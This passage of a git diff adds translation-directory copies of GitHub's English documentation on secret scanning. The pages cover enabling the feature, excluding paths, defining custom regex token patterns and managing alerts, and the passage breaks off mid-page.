/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies + - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot + - '{% ifversion ghae %}/code-security/secret-scanning/about-secret-scanning{% endif %}' + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies + - '{% ifversion ghes < 3.3 or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages{% endif %}' + - '{% ifversion ghes < 3.3 or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow{% endif %}' + - '{% ifversion ghes < 3.3 or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container{% endif %}' +changelog: + label: security-and-compliance + versions: + fpt: '*' + ghec: '*' +examples_source: data/product-examples/code-security/code-examples.yml +layout: product-landing +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories + - Dependencies + - Vulnerabilities +children: + - /getting-started + - /adopting-github-advanced-security-at-scale + - /secret-scanning + - /code-scanning + - /security-advisories + - /supply-chain-security + - /dependabot + - /security-overview + - /guides +--- + diff --git a/translations/ru-RU/content/code-security/secret-scanning/about-secret-scanning.md b/translations/ru-RU/content/code-security/secret-scanning/about-secret-scanning.md new file mode 100644 index 000000000000..17e96efea3e2 --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/about-secret-scanning.md @@ -0,0 +1,115 @@ +--- +title: About secret scanning +intro: '{% data variables.product.product_name %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.' +product: '{% data reusables.gated-features.secret-scanning-partner %}' +redirect_from: + - /github/administering-a-repository/about-token-scanning + - /articles/about-token-scanning + - /articles/about-token-scanning-for-private-repositories + - /github/administering-a-repository/about-secret-scanning + - /code-security/secret-security/about-secret-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Secret scanning + - Advanced Security +--- + +{% data reusables.secret-scanning.beta %} +{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} + +## About {% data variables.product.prodname_secret_scanning %} + +If your project communicates with an external service, you might use a token or private key for authentication. Tokens and private keys are examples of secrets that a service provider can issue. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. We recommend that you store secrets in a dedicated, secure location outside of the repository for your project. + +{% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for secrets{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}, even if the repository is archived{% endif %}. + +{% ifversion fpt or ghec %} +{% data variables.product.prodname_secret_scanning_caps %} is available on {% data variables.product.prodname_dotcom_the_website %} in two forms: + +1. **{% data variables.product.prodname_secret_scanning_partner_caps %}.** Runs automatically on all public repositories. Any strings that match patterns that were provided by secret scanning partners are reported directly to the relevant partner. + +2. **{% data variables.product.prodname_secret_scanning_GHAS_caps %}.** {% ifversion fpt %}Organizations using {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can enable and configure additional scanning for repositories owned by the organization.{% elsif ghec %}You can enable and configure additional scanning for repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}.{% endif %} Any strings that match patterns provided by secret scanning partners, by other service providers, or defined by your organization, are reported as alerts in the "Security" tab of repositories. If a string in a public repository matches a partner pattern, it is also reported to the partner.{% endif %}{% ifversion fpt %} For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/secret-security/about-secret-scanning#about-secret-scanning-for-advanced-security).{% endif %} + +Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning. {% data reusables.secret-scanning.partner-program-link %} + +{% ifversion secret-scanning-push-protection %} + +You can also enable {% data variables.product.prodname_secret_scanning %} as a push protection for a repository or an organization. When you enable this feature, {% data variables.product.prodname_secret_scanning %} prevents contributors from pushing code with a detected secret. To proceed, contributors must either remove the secret(s) from the push or, if needed, bypass the protection. {% ifversion push-protection-custom-link-orgs %}Admins can also specify a custom link that is displayed to the contributor when a push is blocked; the link can contain resources specific to the organization to aid contributors. {% endif %}For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." + +{% endif %} + +{% ifversion fpt or ghec %} +## About {% data variables.product.prodname_secret_scanning_partner %} + +When you make a repository public, or push changes to a public repository, {% data variables.product.product_name %} always scans the code for secrets that match partner patterns. If {% data variables.product.prodname_secret_scanning %} detects a potential secret, we notify the service provider who issued the secret. The service provider validates the string and then decides whether they should revoke the secret, issue a new secret, or contact you directly. Their action will depend on the associated risks to you or them. For more information, see "[Supported secrets for partner patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-partner-patterns)." + +You cannot change the configuration of {% data variables.product.prodname_secret_scanning %} on public repositories. + +{% ifversion fpt %} +{% note %} + +{% data reusables.secret-scanning.fpt-GHAS-scans %} + +{% endnote %} +{% endif %} + +{% endif %} + +{% ifversion not fpt %} + +{% ifversion ghec %} +## About {% data variables.product.prodname_secret_scanning_GHAS %} +{% elsif ghes or ghae %} +## About {% data variables.product.prodname_secret_scanning %} on {% data variables.product.product_name %} +{% endif %} + +{% data variables.product.prodname_secret_scanning_GHAS_caps %} is available on all organization-owned repositories as part of {% data variables.product.prodname_GH_advanced_security %}. It is not available on user-owned repositories. When you enable {% data variables.product.prodname_secret_scanning %} for a repository, {% data variables.product.prodname_dotcom %} scans the code for patterns that match secrets used by many service providers. {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} will also periodically run a full git history scan of existing content in {% data variables.product.prodname_GH_advanced_security %} repositories where {% data variables.product.prodname_secret_scanning %} is enabled, and send alert notifications following the {% data variables.product.prodname_secret_scanning %} alert notification settings. {% endif %}For more information, see "{% ifversion ghec %}[Supported secrets for advanced security](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-advanced-security){% else %}[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns){% endif %}." + +If you're a repository administrator you can enable {% data variables.product.prodname_secret_scanning_GHAS %} for any repository{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}, including archived repositories{% endif %}. Organization owners can also enable {% data variables.product.prodname_secret_scanning_GHAS %} for all repositories or for all new repositories within an organization. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +{% ifversion ghes or ghae or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns for a repository, organization, or enterprise. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)." +{% endif %} + +{% ifversion secret-scanning-ghas-store-tokens %} +{% data variables.product.company_short %} stores detected secrets using symmetric encryption, both in transit and at rest.{% endif %}{% ifversion ghes > 3.7 %} To rotate the encryption keys used for storing the detected secrets, you can contact {% data variables.contact.contact_ent_support %}.{% endif %} + +### About {% data variables.product.prodname_secret_scanning %} alerts + +When you enable {% data variables.product.prodname_secret_scanning %} for a repository or push commits to a repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of those commits for secrets that match patterns defined by service providers{% ifversion ghes or ghae or ghec %} and any custom patterns defined in your enterprise, organization, or repository{% endif %}. {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} also periodically runs a scan of all historical content in repositories with {% data variables.product.prodname_secret_scanning %} enabled.{% endif%} + +If {% data variables.product.prodname_secret_scanning %} detects a secret, {% data variables.product.prodname_dotcom %} generates an alert. + +- {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners. You'll receive an alert if you are watching the repository, and if you have enabled notifications either for security alerts or for all the activity on the repository. +{% ifversion ghes or ghae or ghec %} +- If the contributor who committed the secret isn't ignoring the repository, {% data variables.product.prodname_dotcom %} will also send an email alert to the contributor. The emails contains a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert. +{% endif %} +- {% data variables.product.prodname_dotcom %} displays an alert in the "Security" tab of the repository. + +{% ifversion ghes or ghae or ghec %} +For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} + +Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." + +{% ifversion ghec or ghes or ghae > 3.4 %} +You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview)." +{% endif %} + +{%- ifversion ghec or ghes or ghae %}You can also use the REST API to +monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion ghec %}private {% endif %}repositories{% ifversion ghes %} or your organization{% endif %}. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %} + +{% endif %} + +## Further reading + +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)" +{%- ifversion fpt or ghec %} +- "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)"{% endif %} +{%- ifversion fpt or ghec or ghes %} +- "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)"{% endif %} +- "[Encrypted secrets](/actions/security-guides/encrypted-secrets)" diff --git a/translations/ru-RU/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/translations/ru-RU/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md new file mode 100644 index 000000000000..f39927295912 --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md @@ -0,0 +1,87 @@ +--- +title: Configuring secret scanning for your repositories +intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for secrets that match advanced security patterns.' +product: '{% data reusables.gated-features.secret-scanning %}' +permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_secret_scanning_GHAS %} for the repository.' +redirect_from: + - /github/administering-a-repository/configuring-secret-scanning-for-private-repositories + - /github/administering-a-repository/configuring-secret-scanning-for-your-repositories + - /code-security/secret-security/configuring-secret-scanning-for-your-repositories +versions: + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Secret scanning + - Advanced Security + - Repositories +shortTitle: Configure secret scans +--- + +{% data reusables.secret-scanning.beta %} +{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} + +## Enabling {% data variables.product.prodname_secret_scanning_GHAS %} + +You can enable {% data variables.product.prodname_secret_scanning_GHAS %} for any repository that is owned by an organization. Once enabled, {% data reusables.secret-scanning.secret-scanning-process %} + +{% ifversion secret-scanning-enterprise-level %} +{% note %} + +**Note:** If your organization is owned by an enterprise account, an enterprise owner can also enable {% data variables.product.prodname_secret_scanning %} at the enterprise level. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)." + +{% endnote %} +{% endif %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. + {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png) + {% elsif ghes or ghae %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %} +5. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**. +6. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png) +{% ifversion secret-scanning-push-protection %} +7. Optionally, if you want to enable push protection, click **Enable** to the right of "Push protection." {% data reusables.secret-scanning.push-protection-overview %} For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." + ![Enable push protection for your repository](/assets/images/help/repository/secret-scanning-enable-push-protection.png) +{% endif %} +{% ifversion ghae %} +1. Before you can enable {% data variables.product.prodname_secret_scanning %}, you need to enable {% data variables.product.prodname_GH_advanced_security %} first. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. + ![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png) +2. Click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository** to confirm the action. + ![Confirm enabling {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png) +3. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**. + ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png) +{% endif %} + +## Excluding directories from {% data variables.product.prodname_secret_scanning_GHAS %} + +You can use a *secret_scanning.yml* file to exclude directories from {% data variables.product.prodname_secret_scanning %}. For example, you can exclude directories that contain tests or randomly generated content. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.files.add-file %} +3. In the file name field, type *.github/secret_scanning.yml*. +4. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}. + ``` yaml + paths-ignore: + - "foo/bar/*.js" + ``` + + You can use special characters, such as `*` to filter paths. For more information about filter patterns, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)." + + {% note %} + + **Notes:** + - If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans. + - If *secret_scanning.yml* is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file. + + {% endnote %} + +You can also ignore individual alerts from {% data variables.product.prodname_secret_scanning %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)." + +## Further reading + +- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" +- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)" diff --git a/translations/ru-RU/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/ru-RU/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md new file mode 100644 index 000000000000..3b0a2bf1720b --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -0,0 +1,174 @@ +--- +title: Defining custom patterns for secret scanning +shortTitle: Define custom patterns +intro: 'You can extend {% data variables.product.prodname_secret_scanning_GHAS %} to detect secrets beyond the default patterns.' +product: '{% data reusables.gated-features.secret-scanning %}' +redirect_from: + - /code-security/secret-security/defining-custom-patterns-for-secret-scanning +versions: + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Secret scanning +--- + + +## About custom patterns for {% data variables.product.prodname_secret_scanning %} + +You can define custom patterns to identify secrets that are not detected by the default patterns supported by {% data variables.product.prodname_secret_scanning %}. For example, you might have a secret pattern that is internal to your organization. For details of the supported secrets and service providers, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." + +You can define custom patterns for your enterprise, organization, or repository. {% data variables.product.prodname_secret_scanning_caps %} supports up to 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per repository. + +## Regular expression syntax for custom patterns + +You can specify custom patterns for {% data variables.product.prodname_secret_scanning_GHAS %} as one or more regular expressions. + +- **Secret format:** an expression that describes the format of the secret itself. +- **Before secret:** an expression that describes the characters that come before the secret. By default, this is set to `\A|[^0-9A-Za-z]` which means that the secret must be at the start of a line or be preceded by a non-alphanumeric character. +- **After secret:** an expression that describes the characters that come after the secret. By default, this is set to `\z|[^0-9A-Za-z]` which means that the secret must be followed by a new line or a non-alphanumeric character. +- **Additional match requirements:** one or more optional expressions that the secret itself must or must not match. + +For simple tokens you will usually only need to specify a secret format. The other fields provide flexibility so that you can specify more complex secrets without creating complex regular expressions. For an example of a custom pattern, see "[Example of a custom pattern specified using additional requirements](#example-of-a-custom-pattern-specified-using-additional-requirements)" below. + +{% data variables.product.prodname_secret_scanning_caps %} uses the [Hyperscan library](https://github.com/intel/hyperscan) and only supports Hyperscan regex constructs, which are a subset of PCRE syntax. Hyperscan option modifiers are not supported. For more information on Hyperscan pattern constructs, see "[Pattern support](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)" in the Hyperscan documentation. + +## Defining a custom pattern for a repository + +Before defining a custom pattern, you must ensure that {% data variables.product.prodname_secret_scanning %} is enabled on your repository. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your repositories](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +{% data reusables.repositories.navigate-to-ghas-settings %} +{% data reusables.advanced-security.secret-scanning-new-custom-pattern %} +{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %}{% ifversion secret-scanning-custom-enterprise-35 or custom-pattern-dry-run-ga %} +1. When you're ready to test your new custom pattern, to identify matches in the repository without creating alerts, click **Save and dry run**. +{% data reusables.advanced-security.secret-scanning-dry-run-results %} +{%- ifversion secret-scanning-custom-enterprise-35 %}{% indented_data_reference reusables.secret-scanning.beta-dry-runs spaces=3 %}{% endif %} +{% endif %} +{% data reusables.advanced-security.secret-scanning-create-custom-pattern %} + +After your pattern is created, {% data reusables.secret-scanning.secret-scanning-process %} For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." + +### Example of a custom pattern specified using additional requirements + +A company has an internal token with five characteristics. They use the different fields to specify how to identify tokens as follows: + +| **Characteristic** | **Field and regular expression** | +|----------------|------------------------------| +| Length between 5 and 10 characters | Secret format: `[$#%@AA-Za-z0-9]{5,10}` | +| Does not end in a `.` | After secret: `[^\.]` | +| Contains numbers and uppercase letters | Additional requirements: secret must match `[A-Z]` and `[0-9]` | +| Does not include more than one lowercase letter in a row | Additional requirements: secret must not match `[a-z]{2,}` | +| Contains one of `$%@!` | Additional requirements: secret must match `[$%@!]` | + +These tokens would match the custom pattern described above: + +``` +a9@AAfT! # Secret string match: a9@AAfT +ee95GG@ZA942@aa # Secret string match: @ZA942@a +a9@AA!ee9 # Secret string match: a9@AA +``` + +These strings would not match the custom pattern described above: + +``` +a9@AA.! +a@AAAAA +aa9@AA!ee9 +aAAAe9 +``` + +## Defining a custom pattern for an organization + +Before defining a custom pattern, you must ensure that you enable {% data variables.product.prodname_secret_scanning %} for the repositories that you want to scan in your organization. To enable {% data variables.product.prodname_secret_scanning %} on all repositories in your organization, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +{% ifversion ghes < 3.5 or ghae %} +{% note %} + +**Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire organization. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. + +{% endnote %} +{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security-and-analysis %} +{% data reusables.repositories.navigate-to-ghas-settings %} +{% data reusables.advanced-security.secret-scanning-new-custom-pattern %} +{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} +{%- ifversion secret-scanning-custom-enterprise-35 or custom-pattern-dry-run-ga %} +1. When you're ready to test your new custom pattern, to identify matches in select repositories without creating alerts, click **Save and dry run**. +{% data reusables.advanced-security.secret-scanning-dry-run-select-repos %} +{% data reusables.advanced-security.secret-scanning-dry-run-results %} +{%- ifversion secret-scanning-custom-enterprise-35 %}{% indented_data_reference reusables.secret-scanning.beta-dry-runs spaces=3 %}{% endif %} +{%- endif %} +{% data reusables.advanced-security.secret-scanning-create-custom-pattern %} + +After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in repositories in your organization, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." + +## Defining a custom pattern for an enterprise account + +{% ifversion fpt or ghec or ghes %} + +Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." + +{% endif %} + +{% note %} + +{% ifversion secret-scanning-custom-enterprise-36 or custom-pattern-dry-run-ga %} +**Notes:** +- At the enterprise level, only the creator of a custom pattern can edit the pattern, and use it in a dry run. +- Enterprise owners can only make use of dry runs on repositories that they have access to, and enterprise owners do not necessarily have access to all the organizations or repositories within the enterprise. +{% else %} +**Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. + +{% endif %} + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %}{% ifversion security-feature-enablement-policies %} +{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} +1. Under "Code security and analysis", click **Security features**.{% else %} +{% data reusables.enterprise-accounts.advanced-security-policies %} +{% data reusables.enterprise-accounts.advanced-security-security-features %}{% endif %} +1. Under "Secret scanning custom patterns", click **New pattern**. +{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} +{%- ifversion secret-scanning-custom-enterprise-36 or custom-pattern-dry-run-ga %} +1. When you're ready to test your new custom pattern, to identify matches in the enterprise without creating alerts, click **Save and dry run**. +{% data reusables.advanced-security.secret-scanning-dry-run-select-enterprise-repos %} +{% data reusables.advanced-security.secret-scanning-dry-run-results %} +{%- ifversion secret-scanning-custom-enterprise-36 %}{% indented_data_reference reusables.secret-scanning.beta-dry-runs spaces=3 %}{% endif %} +{%- endif %} +{% data reusables.advanced-security.secret-scanning-create-custom-pattern %} + +After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in repositories within your enterprise's organizations with {% data variables.product.prodname_GH_advanced_security %} enabled, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." + +## Editing a custom pattern + +When you save a change to a custom pattern, this closes all the {% data variables.product.prodname_secret_scanning %} alerts that were created using the previous version of the pattern. +1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account. + * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above. + * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above. +2. Under "{% data variables.product.prodname_secret_scanning_caps %}", to the right of the custom pattern you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}. +{%- ifversion secret-scanning-custom-enterprise-36 or custom-pattern-dry-run-ga %} +3. When you're ready to test your edited custom pattern, to identify matches without creating alerts, click **Save and dry run**. +{%- endif %} +4. When you have reviewed and tested your changes, click **Save changes**. + +## Removing a custom pattern + +1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account. + + * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above. + * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above. +1. To the right of the custom pattern you want to remove, click {% octicon "trash" aria-label="The trash icon" %}. +1. Review the confirmation, and select a method for dealing with any open alerts relating to the custom pattern. +1. Click **Yes, delete this pattern**. + + ![Confirming deletion of a custom {% data variables.product.prodname_secret_scanning %} pattern ](/assets/images/help/repository/secret-scanning-confirm-deletion-custom-pattern.png) \ No newline at end of file diff --git a/translations/ru-RU/content/code-security/secret-scanning/index.md b/translations/ru-RU/content/code-security/secret-scanning/index.md new file mode 100644 index 000000000000..ccef11c351bd --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/index.md @@ -0,0 +1,26 @@ +--- +title: Keeping secrets secure with secret scanning +shortTitle: Secret scanning +intro: 'Let {% data variables.product.company_short %} do the hard work of ensuring that tokens, private keys, and other code secrets are not exposed in your repository.' +product: '{% data reusables.gated-features.secret-scanning-partner %}' +redirect_from: + - /code-security/secret-security +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Secret scanning + - Advanced Security + - Repositories +children: + - /about-secret-scanning + - /configuring-secret-scanning-for-your-repositories + - /defining-custom-patterns-for-secret-scanning + - /managing-alerts-from-secret-scanning + - /secret-scanning-patterns + - /protecting-pushes-with-secret-scanning + - /pushing-a-branch-blocked-by-push-protection +--- + diff --git a/translations/ru-RU/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/ru-RU/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md new file mode 100644 index 000000000000..9ea660da3299 --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md @@ -0,0 +1,90 @@ +--- +title: Managing alerts from secret scanning +intro: You can view and close alerts for secrets checked in to your repository. +permissions: 'People with admin access to a repository can view and dismiss alerts.' +product: '{% data reusables.gated-features.secret-scanning %}' +redirect_from: + - /github/administering-a-repository/managing-alerts-from-secret-scanning + - /code-security/secret-security/managing-alerts-from-secret-scanning +versions: + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Secret scanning + - Advanced Security + - Alerts + - Repositories +shortTitle: Manage secret alerts +--- + +{% data reusables.secret-scanning.beta %} + +## Managing {% data variables.product.prodname_secret_scanning %} alerts + +{% ifversion ghec %} +{% note %} + +**Note:** Alerts are created only for repositories with {% data variables.product.prodname_secret_scanning_GHAS %} enabled. Secrets found in public repositories using the free {% data variables.product.prodname_secret_scanning_partner%} service are reported directly to the partner, without creating an alert. + +{% endnote %} +{% endif %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +1. In the left sidebar, click **Secret scanning alerts**. + {% ifversion ghes or ghec %} + !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png) + {% endif %} + {% ifversion ghae %} + !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png) + {% endif %} +1. Under "Secret scanning" click the alert you want to view. + {% ifversion ghec %} + ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png) + {% endif %} + {% ifversion ghes %} + ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert-ghe.png) + {% endif %} + {% ifversion ghae %} + ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png) + {% endif %}{% ifversion secret-scanning-dismissal-comment %} +1. To dismiss an alert, select the "Dismiss alert" dropdown menu and click a reason for resolving an alert. + + ![Screenshot of the dropdown menu for dismissing an alert from secret scanning](/assets/images/help/repository/secret-scanning-dismiss-alert.png){% else %} +1. To dismiss an alert, select the "Mark as" dropdown menu and click a reason for resolving an alert. + + 